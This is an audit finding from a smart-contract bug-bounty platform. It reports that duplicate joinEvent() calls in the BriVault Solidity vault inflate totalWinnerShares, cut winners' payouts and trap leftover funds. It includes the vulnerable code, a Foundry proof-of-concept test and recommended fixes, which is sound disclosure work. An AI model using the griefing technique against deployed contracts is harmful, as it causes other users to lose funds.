BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Duplicate joinEvent registrations inflate totalWinnerShares and shrink payouts

galer ah

Root + Impact

Duplicating entries in usersAddress allows a participant to inflate totalWinnerShares, shrinking every winner's withdrawal and trapping assets in the vault (Medium).

Description

joinEvent() pushes msg.sender into usersAddress on every call without preventing duplicates. During settlement, _getWinnerShares() iterates over that array and sums userSharesToCountry[user][winnerCountryId], so the same participant contributes their shares multiple times:

function joinEvent(uint256 countryId) public {
...
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
​
@> usersAddress.push(msg.sender);
}
function _getWinnerShares() internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i) {
address user = usersAddress[i];
​
@> totalWinnerShares += userSharesToCountry[user][winnerCountryId];
​
}
return totalWinnerShares;
}

A winner who (accidentally or maliciously) calls joinEvent() multiple times makes totalWinnerShares larger than the actual circulating winner shares, so every subsequent withdrawal uses an inflated denominator and pays out less than the correct pro-rata amount.

Risk

Any participant can grief all winners by repeatedly joining before eventStartDate. No privileged access is required. The attack is especially harmful when multiple winners exist, because honest winners cannot detect or mitigate the manipulation before funds are lost.

Impact:

  • Winners receive less than their fair share of the vault assets.

  • Remaining assets become permanently stuck in the vault after all shares are burned.

Proof of Concept

  1. Alice and Bob each deposit 100 tokens and join the same country before the start date.

  2. Alice (maliciously or due to a UI bug) calls joinEvent() twice; usersAddress becomes [Alice, Alice, Bob].

  3. After the event ends, the owner calls setWinner() with that country. _getWinnerShares() records 300 shares even though only 200 actually exist.

  4. Bob withdraws and receives 100 * 200 / 300 ≈ 66.66 tokens. Alice then withdraws and receives the same amount. The remaining ~66.66 tokens remain trapped in the vault.

function test_duplicateJoinShrinksPayout() public {
vm.prank(alice);
vault.deposit(100e18, alice);
vm.prank(bob);
vault.deposit(100e18, bob);
​
vm.prank(alice);
vault.joinEvent(0);
vm.prank(alice);
vault.joinEvent(0); // duplicate push
vm.prank(bob);
vault.joinEvent(0);
​
vm.warp(eventEndDate + 1);
vm.prank(owner);
vault.setWinner(0);
​
vm.prank(bob);
vault.withdraw();
// Bob receives less than his fair share due to inflated totalWinnerShares.
assertLt(token.balanceOf(bob), 100e18);
}

Recommended Mitigation

  1. Prevent duplicate registration by ensuring each participant can only join once, for example:

require(userCountryId[msg.sender] == 0 && !hasJoined[msg.sender], "Already joined");

  1. Alternatively, deduplicate usersAddress or maintain a separate structure (such as a mapping plus an index array) that only records each address once.

  2. Ensure _getWinnerShares() starts from a clean totalWinnerShares and, if possible, derive the denominator from a deduplicated set of active winner addresses.

Updates

Appeal created

bube Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!